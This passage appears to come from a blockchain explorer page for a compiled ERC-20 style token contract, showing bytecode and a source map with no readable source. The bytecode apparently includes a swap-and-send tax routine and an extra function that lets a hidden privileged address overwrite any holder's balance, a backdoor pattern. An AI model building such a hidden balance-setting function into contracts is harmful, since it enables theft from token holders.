fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008360140360080261185a565b831692505b5050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b600061190e6006836112e0565b9150611919826118d8565b602082019050919050565b6000602082019050818103600083015261193d81611901565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119b1816113c7565b92915050565b6000602082840312156119cd576119cc611390565b5b60006119db848285016119a2565b91505092915050565b6000819050919050565b6000611a09611a046119ff846119e4565b611659565b6113f3565b9050919050565b611a19816119ee565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a54816113b5565b82525050565b6000611a668383611a4b565b60208301905092915050565b6000602082019050919050565b6000611a8a82611a1f565b611a948185611a2a565b9350611a9f83611a3b565b8060005b83811015611ad0578151611ab78882611a5a565b9750611ac283611a72565b925050600181019050611aa3565b5085935050505092915050565b600060a082019050611af26000830188611585565b611aff6020830187611a10565b8181036040830152611b118186611a7f565b9050611b20606083018561155b565b611b2d6080830184611585565b9695505050505050565b6000611b42826113f3565b9150611b4d836113f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b8657611b85611773565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bcb826113f3565b9150611bd6836113f3565b925082611be657611be5611b91565b5b828204905092915050565b6000611bfc826113f3565b9150611c07836113f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c3c57611c3b611773565b5b82820190509291505056fea2646970667358221220f5d28995f62e5f718c0f44a8dad93ef9e8ddeb22dfe6b082a39b217a1e0c8fc764736f6c634300080d0033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c80634bf28fd01161009557806395d89b411161006457806395d89b41146103a2578063a9059cbb146103cd578063ad0688b91461040a578063dd62ed3e14610433578063f2fde38b1461047057610114565b80634bf28fd0146102e457806365b61b771461030f57806370a082311461033a5780638da5cb5b1461037757610114565b806318160ddd116100dc57806318160ddd146101e957806323b872dd1461021457806330da23e414610251578063313ce5671461027c57806336b2e027146102a757610114565b806306fdde0314610119578063095ea7b3146101445780630e9cbc70146101815780630ede0343146101be57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610499565b60405161013b919061136e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611429565b610527565b6040516101789190611484565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a391906114d8565b61053e565b6040516101b59190611540565b60405180910390f35b3480156101ca57600080fd5b506101d361054b565b6040516101e0919061156a565b60405180910390f35b3480156101f557600080fd5b506101fe610571565b60405161020b9190611594565b60405180910390f35b34801561022057600080fd5b5061023b600480360381019061023691906115af565b610577565b6040516102489190611484565b60405180910390f35b34801561025d57600080fd5b5061026661071d565b6040516102739190611594565b60405180910390f35b34801561028857600080fd5b50610291610723565b60405161029e9190611611565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c9919061162c565b610736565b6040516102db9190611484565b60405180910390f35b3480156102f057600080fd5b506102f9610756565b604051610306919061156a565b60405180910390f35b34801561031b57600080fd5b5061032461077c565b60405161033191906116b8565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061162c565b6107a2565b60405161036e9190611594565b60405180910390f35b34801561038357600080fd5b5061038c6107eb565b604051610399919061156a565b60405180910390f35b3480156103ae57600080fd5b506103b7610814565b6040516103c4919061136e565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190611429565b6108a2565b6040516104019190611484565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c9190611429565b6108b9565b005b34801561043f57600080fd5b5061045a600480360381019061045591906116d3565b6109f8565b6040516104679190611594565b60405180910390f35b34801561047c57600080fd5b506104976004803603810190610492919061162c565b610a7f565b005b600480546104a690611742565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290611742565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b505050505081565b6000610534338484610b50565b6001905092915050565b60008160f81b9050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000610584848484610c3b565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107125781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069191906117a2565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600c5481565b600660009054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461082190611742565b80601f016020809104026020016040519081016040528092919081815260200182805461084d90611742565b801561089a5780601f1061086f5761010080835404028352916020019161089a565b820191906000526020600020905b81548152906001019060200180831161087d57829003601f168201915b505050505081565b60006108af338484610c3b565b6001905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000015173ffffffffffffffffffffffffffffffffffffffff16600761097690611867565b60601c73ffffffffffffffffffffffffffffffffffffffff16146109f357806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b5b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0490611924565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2e9190611594565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610ca55750600b60149054906101000a900460ff16155b15610f3f576001600b60146101000a81548160ff0219169083151502179055506000610cd0306107a2565b90506000811115610f22576000829050818111610ced5780610cef565b815b90506000600267ffffffffffffffff811115610d0e57610d0d611944565b5b604051908082528060200260200182016040528015610d3c5781602001602082028036833780820191505090505b5090503081600081518110610d5457610d53611973565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1f91906119b7565b81600181518110610e3357610e32611973565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610ef3959493929190611add565b600060405180830381600087803b158015610f0d57600080fd5b505af1925050508015610f1e575060015b5050505b6000600b60146101000a81548160ff021916908315150217905550505b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fe55750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610ffe5750600b60149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104b91906117a2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561109f57506000600c54115b156111c55760006064600c54856110b69190611b37565b6110c09190611bc0565b905080826110ce9190611bf1565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111b9190611bf1565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111bb9190611594565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112119190611bf1565b61121b91906117a2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112b991906117a2565b6040516112c69190611594565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561130f5780820151818401526020810190506112f4565b8381111561131e576000848401525b50505050565b6000601f19601f8301169050919050565b6000611340826112d5565b61134a81856112e0565b935061135a8185602086016112f1565b61136381611324565b840191505092915050565b600060208201905081810360008301526113888184611335565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113c082611395565b9050919050565b6113d0816113b5565b81146113db57600080fd5b50565b6000813590506113ed816113c7565b92915050565b6000819050919050565b611406816113f3565b811461141157600080fd5b50565b600081359050611423816113fd565b92915050565b600080604083850312156114405761143f611390565b5b600061144e858286016113de565b925050602061145f85828601611414565b9150509250929050565b60008115159050919050565b61147e81611469565b82525050565b60006020820190506114996000830184611475565b92915050565b600060ff82169050919050565b6114b58161149f565b81146114c057600080fd5b50565b6000813590506114d2816114ac565b92915050565b6000602082840312156114ee576114ed611390565b5b60006114fc848285016114c3565b91505092915050565b60007fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b61153a81611505565b82525050565b60006020820190506115556000830184611531565b92915050565b611564816113b5565b82525050565b600060208201905061157f600083018461155b565b92915050565b61158e816113f3565b82525050565b60006020820190506115a96000830184611585565b92915050565b6000806000606084860312156115c8576115c7611390565b5b60006115d6868287016113de565b93505060206115e7868287016113de565b92505060406115f886828701611414565b9150509250925092565b61160b8161149f565b82525050565b60006020820190506116266000830184611602565b92915050565b60006020828403121561164257611641611390565b5b6000611650848285016113de565b91505092915050565b6000819050919050565b600061167e61167961167484611395565b611659565b611395565b9050919050565b600061169082611663565b9050919050565b60006116a282611685565b9050919050565b6116b281611697565b82525050565b60006020820190506116cd60008301846116a9565b92915050565b600080604083850312156116ea576116e9611390565b5b60006116f8858286016113de565b9250506020611709858286016113de565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061175a57607f821691505b60208210810361176d5761176c611713565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117ad826113f3565b91506117b8836113f3565b9250828210156117cb576117ca611773565b5b828203905092915050565b6000815490506117e581611742565b9050919050565b60008190508160005260206000209050919050565b60008160601c9050919050565b60008160601b9050919050565b60006118268261180e565b9050919050565b600061184061183b83611801565b61181b565b9050919050565b6000611853825461182d565b9050919050565b600082821b905092915050565b6000611872826117d6565b82601f82111561188857611885846117ec565b90505b61189181611847565b925060148210156118d1576118cc7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008360140360080261185a565b831692505b5050919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b600061190e6006836112e0565b9150611919826118d8565b602082019050919050565b6000602082019050818103600083015261193d81611901565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119b1816113c7565b92915050565b6000602082840312156119cd576119cc611390565b5b60006119db848285016119a2565b91505092915050565b6000819050919050565b6000611a09611a046119ff846119e4565b611659565b6113f3565b9050919050565b611a19816119ee565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a54816113b5565b82525050565b6000611a668383611a4b565b60208301905092915050565b6000602082019050919050565b6000611a8a82611a1f565b611a948185611a2a565b9350611a9f83611a3b565b8060005b83811015611ad0578151611ab78882611a5a565b9750611ac283611a72565b925050600181019050611aa3565b5085935050505092915050565b600060a082019050611af26000830188611585565b611aff6020830187611a10565b8181036040830152611b118186611a7f565b9050611b20606083018561155b565b611b2d6080830184611585565b9695505050505050565b6000611b42826113f3565b9150611b4d836113f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b8657611b85611773565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bcb826113f3565b9150611bd6836113f3565b925082611be657611be5611b91565b5b828204905092915050565b6000611bfc826113f3565b9150611c07836113f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c3c57611c3b611773565b5b82820190509291505056fea2646970667358221220f5d28995f62e5f718c0f44a8dad93ef9e8ddeb22dfe6b082a39b217a1e0c8fc764736f6c634300080d0033
Deployed Bytecode Sourcemap
871:4663:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1213:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3143:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3299:85;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1186:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1387:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3390:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1538:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1265:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1331:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1572:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1420:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2737:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;596:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1238:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2847:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3773:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3003:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;762:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1213:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3143:150::-;3209:4;3226:37;3235:10;3247:7;3256:6;3226:8;:37::i;:::-;3281:4;3274:11;;3143:150;;;;:::o;3299:85::-;3342:6;3374:1;3367:9;;3360:16;;3299:85;;;:::o;1186:20::-;;;;;;;;;;;;;:::o;1387:26::-;;;;:::o;3390:327::-;3479:4;3496:36;3506:6;3514:9;3525:6;3496:9;:36::i;:::-;1529:1;1520:11;3547;:19;3559:6;3547:19;;;;;;;;;;;;;;;:31;3567:10;3547:31;;;;;;;;;;;;;;;;:38;3543:145;;3670:6;3636:11;:19;3648:6;3636:19;;;;;;;;;;;;;;;:31;3656:10;3636:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3602:11;:19;3614:6;3602:19;;;;;;;;;;;;;;;:31;3622:10;3602:31;;;;;;;;;;;;;;;:74;;;;3543:145;3705:4;3698:11;;3390:327;;;;;:::o;1538:27::-;;;;:::o;1265:21::-;;;;;;;;;;;;;:::o;1331:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1572:27::-;;;;;;;;;;;;;:::o;1420:36::-;;;;;;;;;;;;;:::o;2737:110::-;2794:7;2821:9;:18;2831:7;2821:18;;;;;;;;;;;;;;;;2814:25;;2737:110;;;:::o;596:73::-;634:7;661:6;;;;;;;;;;;654:13;;596:73;:::o;1238:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2847:156::-;2916:4;2933:40;2943:10;2955:9;2966:6;2933:9;:40::i;:::-;2991:4;2984:11;;2847:156;;;;:::o;3773:313::-;3829:26;3858:54;;;;;;;;3878:10;3858:54;;;;;;3894:6;3858:54;;;;3907:3;3858:54;;;;;3829:83;;3947:6;:9;;;3923;:21;3933:6;:10;;;3923:21;;;;;;;;;;;;;;;:33;;;;4001:6;:10;;;3971:40;;3987:8;3979:17;;;:::i;:::-;3971:26;;:40;;;3967:110;;4054:6;:10;;;4045:19;;:5;;;;;;;;;;;:19;;;4037:28;;;;;;3967:110;3828:258;3773:313;;:::o;3003:134::-;3075:7;3102:11;:18;3114:5;3102:18;;;;;;;;;;;;;;;:27;3121:7;3102:27;;;;;;;;;;;;;;;;3095:34;;3003:134;;;;:::o;762:104::-;723:10;713:20;;:6;;;;;;;;;;:20;;;705:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;856:8:::1;847:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;762:104:::0;:::o;4094:177::-;4209:6;4179:11;:18;4191:5;4179:18;;;;;;;;;;;;;;;:27;4198:7;4179:27;;;;;;;;;;;;;;;:36;;;;4247:7;4231:32;;4240:5;4231:32;;;4256:6;4231:32;;;;;;:::i;:::-;;;;;;;;4094:177;;;:::o;4279:1217::-;4379:2;4363:18;;:12;;;;;;;;;;;:18;;;:29;;;;;4386:6;;;;;;;;;;;4385:7;4363:29;4359:585;;;4418:4;4409:6;;:13;;;;;;;;;;;;;;;;;;4437:32;4472:24;4490:4;4472:9;:24::i;:::-;4437:59;;4542:1;4515:24;:28;4511:393;;;4564:10;4577:6;4564:19;;4594:24;4589:2;:29;:61;;4648:2;4589:61;;;4621:24;4589:61;4584:66;;4669:21;4707:1;4693:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4669:40;;4728:4;4710;4715:1;4710:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;4744:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4734:4;4739:1;4734:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;;;4770:14;;;;;;;;;;;:65;;;4836:2;4839:1;4841:4;4854:5;;;;;;;;;;;4861:15;4770:107;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4766:123;4545:359;;4511:393;4927:5;4918:6;;:14;;;;;;;;;;;;;;;;;;4394:550;4359:585;4956:12;4972:17;:23;4990:4;4972:23;;;;;;;;;;;;;;;;;;;;;;;;;4971:24;:50;;;;;5000:17;:21;5018:2;5000:21;;;;;;;;;;;;;;;;;;;;;;;;;4999:22;4971:50;:61;;;;;5026:6;;;;;;;;;;;5025:7;4971:61;4956:76;;5081:6;5063:9;:15;5073:4;5063:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;5045:9;:15;5055:4;5045:15;;;;;;;;;;;;;;;:42;;;;5098:18;5131:7;:23;;;;;5153:1;5142:8;;:12;5131:23;5127:245;;;5171:13;5207:3;5196:8;;5187:6;:17;;;;:::i;:::-;:23;;;;:::i;:::-;5171:39;;5225:5;5211:19;;;;;:::i;:::-;;;5299:5;5272:9;:24;5290:4;5272:24;;;;;;;;;;;;;;;;:32;;;;:::i;:::-;5245:9;:24;5263:4;5245:24;;;;;;;;;;;;;;;:59;;;;5347:4;5324:36;;5333:4;5324:36;;;5354:5;5324:36;;;;;;:::i;:::-;;;;;;;;5156:216;5127:245;5423:10;5414:6;5398:9;:13;5408:2;5398:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;5382:9;:13;5392:2;5382:13;;;;;;;;;;;;;;;:51;;;;5464:2;5449:39;;5458:4;5449:39;;;5477:10;5468:6;:19;;;;:::i;:::-;5449:39;;;;;;:::i;:::-;;;;;;;;4346:1150;;4279:1217;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:86::-;3529:7;3569:4;3562:5;3558:16;3547:27;;3494:86;;;:::o;3586:118::-;3657:22;3673:5;3657:22;:::i;:::-;3650:5;3647:33;3637:61;;3694:1;3691;3684:12;3637:61;3586:118;:::o;3710:135::-;3754:5;3792:6;3779:20;3770:29;;3808:31;3833:5;3808:31;:::i;:::-;3710:135;;;;:::o;3851:325::-;3908:6;3957:2;3945:9;3936:7;3932:23;3928:32;3925:119;;;3963:79;;:::i;:::-;3925:119;4083:1;4108:51;4151:7;4142:6;4131:9;4127:22;4108:51;:::i;:::-;4098:61;;4054:115;3851:325;;;;:::o;4182:149::-;4218:7;4258:66;4251:5;4247:78;4236:89;;4182:149;;;:::o;4337:115::-;4422:23;4439:5;4422:23;:::i;:::-;4417:3;4410:36;4337:115;;:::o;4458:218::-;4549:4;4587:2;4576:9;4572:18;4564:26;;4600:69;4666:1;4655:9;4651:17;4642:6;4600:69;:::i;:::-;4458:218;;;;:::o;4682:118::-;4769:24;4787:5;4769:24;:::i;:::-;4764:3;4757:37;4682:118;;:::o;4806:222::-;4899:4;4937:2;4926:9;4922:18;4914:26;;4950:71;5018:1;5007:9;5003:17;4994:6;4950:71;:::i;:::-;4806:222;;;;:::o;5034:118::-;5121:24;5139:5;5121:24;:::i;:::-;5116:3;5109:37;5034:118;;:::o;5158:222::-;5251:4;5289:2;5278:9;5274:18;5266:26;;5302:71;5370:1;5359:9;5355:17;5346:6;5302:71;:::i;:::-;5158:222;;;;:::o;5386:619::-;5463:6;5471;5479;5528:2;5516:9;5507:7;5503:23;5499:32;5496:119;;;5534:79;;:::i;:::-;5496:119;5654:1;5679:53;5724:7;5715:6;5704:9;5700:22;5679:53;:::i;:::-;5669:63;;5625:117;5781:2;5807:53;5852:7;5843:6;5832:9;5828:22;5807:53;:::i;:::-;5797:63;;5752:118;5909:2;5935:53;5980:7;5971:6;5960:9;5956:22;5935:53;:::i;:::-;5925:63;;5880:118;5386:619;;;;;:::o;6011:112::-;6094:22;6110:5;6094:22;:::i;:::-;6089:3;6082:35;6011:112;;:::o;6129:214::-;6218:4;6256:2;6245:9;6241:18;6233:26;;6269:67;6333:1;6322:9;6318:17;6309:6;6269:67;:::i;:::-;6129:214;;;;:::o;6349:329::-;6408:6;6457:2;6445:9;6436:7;6432:23;6428:32;6425:119;;;6463:79;;:::i;:::-;6425:119;6583:1;6608:53;6653:7;6644:6;6633:9;6629:22;6608:53;:::i;:::-;6598:63;;6554:117;6349:329;;;;:::o;6684:60::-;6712:3;6733:5;6726:12;;6684:60;;;:::o;6750:142::-;6800:9;6833:53;6851:34;6860:24;6878:5;6860:24;:::i;:::-;6851:34;:::i;:::-;6833:53;:::i;:::-;6820:66;;6750:142;;;:::o;6898:126::-;6948:9;6981:37;7012:5;6981:37;:::i;:::-;6968:50;;6898:126;;;:::o;7030:147::-;7101:9;7134:37;7165:5;7134:37;:::i;:::-;7121:50;;7030:147;;;:::o;7183:173::-;7291:58;7343:5;7291:58;:::i;:::-;7286:3;7279:71;7183:173;;:::o;7362:264::-;7476:4;7514:2;7503:9;7499:18;7491:26;;7527:92;7616:1;7605:9;7601:17;7592:6;7527:92;:::i;:::-;7362:264;;;;:::o;7632:474::-;7700:6;7708;7757:2;7745:9;7736:7;7732:23;7728:32;7725:119;;;7763:79;;:::i;:::-;7725:119;7883:1;7908:53;7953:7;7944:6;7933:9;7929:22;7908:53;:::i;:::-;7898:63;;7854:117;8010:2;8036:53;8081:7;8072:6;8061:9;8057:22;8036:53;:::i;:::-;8026:63;;7981:118;7632:474;;;;;:::o;8112:180::-;8160:77;8157:1;8150:88;8257:4;8254:1;8247:15;8281:4;8278:1;8271:15;8298:320;8342:6;8379:1;8373:4;8369:12;8359:22;;8426:1;8420:4;8416:12;8447:18;8437:81;;8503:4;8495:6;8491:17;8481:27;;8437:81;8565:2;8557:6;8554:14;8534:18;8531:38;8528:84;;8584:18;;:::i;:::-;8528:84;8349:269;8298:320;;;:::o;8624:180::-;8672:77;8669:1;8662:88;8769:4;8766:1;8759:15;8793:4;8790:1;8783:15;8810:191;8850:4;8870:20;8888:1;8870:20;:::i;:::-;8865:25;;8904:20;8922:1;8904:20;:::i;:::-;8899:25;;8943:1;8940;8937:8;8934:34;;;8948:18;;:::i;:::-;8934:34;8993: